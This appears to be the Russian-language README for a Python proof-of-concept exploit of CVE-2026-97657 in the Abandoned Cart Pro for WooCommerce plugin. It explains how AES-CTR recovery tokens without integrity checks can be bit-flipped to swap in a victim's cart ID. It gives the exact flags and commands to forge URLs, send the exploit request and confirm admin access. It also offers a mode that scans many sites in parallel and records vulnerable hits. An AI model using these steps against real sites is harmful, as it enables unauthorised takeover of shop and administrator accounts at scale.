
Python PoC для CVE-2026-97657: подделывает токены восстановления AES-CTR через XOR-манипулируемость для обхода аутентификации и захвата учётных записей WordPress в Abandoned Cart Pro ≤10.8.0.
Python 3 PoC для CVE-2026-97657 — Abandoned Cart Pro for WooCommerce (Tyche Softwares) ≤ 10.8.0. CNA: Wordfence.
| Продукт | Abandoned Cart Pro for WooCommerce |
| Уязвимые версии | ≤ 10.8.0 (обновитесь до исправленной версии выше 10.8.0) |
| CWE | CWE-639 — обход авторизации через контролируемый пользователем ключ |
| CVSS 3.1 | 9.8 Critical |
| Маркер проверки | POCBIT-97657-OK (проверка сессии/администратора) |
| PoCbit | https://pocbit.org/pocs/cve-2026-97657 |
Ссылки восстановления используют токены AES-CTR без MAC (совместимый с Wcal_Aes_Ctr формат: 8-байтовый CTR nonce + шифротекст, base64). Плагин загружает encrypt_key для конкретного email из контролируемого атакующим параметра запроса user_email. В wcap_email_track_links() (Pro; аналог в Lite — wcal_email_track_links()) проверка wcap_nonce / HMAC выполняется только когда wcap_nonce не пуст, поэтому при его отсутствии проверка целостности пропускается. После расшифровки abandoned_id (ID строки корзины) используется без подтверждения принадлежности этому email, а затем выполняется wp_set_auth_cookie(), если включён автологин (по умолчанию).
Неаутентифицированный атакующий, имеющий один легитимный URL восстановления из собственного письма-напоминания, может XOR-манипулировать шифротекстом CTR, чтобы изменить встроенный ID корзины на ID брошенной корзины жертвы (той же длины, что и исходный ID), открыть поддельный URL без wcap_nonce и войти как жертва (включая администраторов, бросивших корзину).
Типичная форма URL (Pro):
GET /?wacp_action=checkout_link&[email protected]&validate=<token>
(существуют варианты wcap_action / wcal_action; URL-адреса трекинговых ссылок могут содержать дополнительные параметры, например c=.)
cd CVE-2026-97657
pip install -r requirements.txt
requests, urllib3| Режим | Назначение | Обязательные аргументы |
|---|---|---|
check (по умолчанию) | Читает readme.txt плагина, отмечает версию ≤ 10.8.0 | -t URL или --list FILE |
forge | Локально строит поддельный recovery URL (без HTTP) | --recovery-link, --source-cart-id, --target-cart-id |
exploit | Формирует токен + HTTP GET + проверяет сессию WordPress | То же, что и для forge |
Рекомендуемый порядок работы (авторизованная лаборатория):
check — подтвердить slug плагина + версию ≤ 10.8.0.forge — проверить дополнение cart ID и форму URL перед отправкой трафика.exploit — один GET к поддельному recovery URL; подтвердить cookies + /wp-admin/.Exploit/forge не используют -t / --list. Целевой хост берётся из --recovery-link (схема + хост).
| Требование | Зачем |
|---|---|
| Один легитимный recovery URL | Даёт валидный CTR nonce + ciphertext и (обычно) вашу строку user_email / encrypt_key в ac_sent_history |
| Плагин ≤ 10.8.0 с включённым auto-login (по умолчанию) | Исправленные сборки или отключённый auto-login блокируют wp_set_auth_cookie() |
| Зарегистрированный пользователь WordPress (жертва) со строкой брошенной корзины | Путь захвата выполняет вход по user_id из ac_abandoned_cart_history; чисто гостевые корзины используют другую ветку |
URL checkout_link настоятельно предпочтителен | Открытый текст — это {abandoned_cart_id}&url=.... Токены track_links кодируют email_sent_id, а не cart ID — неверный тип ID ломает forge |
| ID одинаковой длины | XOR-манипулируемость CTR переворачивает байты только 1:1; дополняйте нулями (см. ниже) |
--recovery-linkcheckout_link из письма (или из webhooks / экспорта плагина, если включено).Примеры форм Pro (из документации вендора / webhooks):
https://shop.example/?wacp_action=checkout_link&validate=<base64-token>
https://shop.example/?wacp_action=checkout_link&[email protected]&validate=<token>
https://shop.example/?wacp_action=track_links&[email protected]&validate=<token>&c=<coupon-token>
Вставьте URL точно так, как в письме (включая validate; порядок параметров запроса не важен).
| Источник | Поле |
|---|---|
| WooCommerce Abandoned Cart → Cart details (админка) | ID брошенной корзины (первичный ключ БД) |
Полезная нагрузка Webhook (контекст wcap_cart, checkout_link) | "id": "383" в ресурсе корзины |
| MySQL (лаборатория) | wp_ac_abandoned_cart_history.id (префикс таблицы Pro может отличаться) |
--source-cart-id должен быть ID внутри открытого текста вашего токена (ваша строка брошенной корзины). --target-cart-id — строка жертвы в той же таблице.
PoC отклоняет несовпадающие длины. Дополните оба ID до одинаковой ширины:
| Источник (ваш) | Цель (жертва) | OK? |
|---|---|---|
383 | 001 | Да (3 символа) |
0383 | 0001 | Да (4 символа) |
383 | 1 | Нет — запустите forge с 0383 / 0001 вместо этого |
| Флаг | Режимы | Значение |
|---|---|---|
-t, --target | check | Корень сайта WordPress, например https://shop.example.com |
--list FILE | check | Один URL сайта на строку; комментарии # игнорируются |
--mode | все | check (по умолчанию), forge, exploit |
--recovery-link URL | forge, exploit | Полный URL восстановления из письма-напоминания |
--source-cart-id | forge, exploit | ID вашей строки брошенной корзины (в открытом тексте токена) |
--target-cart-id | forge, exploit | ID строки брошенной корзины жертвы (та же длина строки) |
-j N | check (список) | Параллельные воркеры (по умолчанию 8) |
--timeout SEC | check, exploit | Тайм-аут HTTP (по умолчанию 15) |
--insecure | check, exploit | Отключить проверку TLS-сертификата |
--jsonl FILE | check, exploit | Добавлять один JSON-объект на каждый запуск |
--vuln-list FILE | check | Записать URL с версией ≤ 10.8.0 |
-q, --quiet | все | Меньше вывода в консоль |
--no-color | все | Простой терминал |
Коды выхода
| Код | Когда |
|---|---|
| 0 | Exploit: success: true; forge: всегда; check: всегда (одиночный -t) |
| 1 | Exploit: не удалась проверка входа/администратора |
| 2 | Запуск списка check без семантики -t (информационный) |
python poc.py -t https://shop.example.com --mode check
python poc.py --list targets.example.txt --mode check -j 16 --vuln-list hits.txt --jsonl scan.jsonl
Проверки:
/wp-content/plugins/woocommerce-abandon-cart-pro/readme.txtwoocommerce-abandoned-cart-propython poc.py --mode forge \
--recovery-link "https://shop.example.com/?wacp_action=checkout_link&[email protected]&validate=..." \
--source-cart-id "0383" \
--target-cart-id "0001"
Выходной JSON включает exploit_url (суффикс HMAC удаляется из validate, параметры nonce удаляются).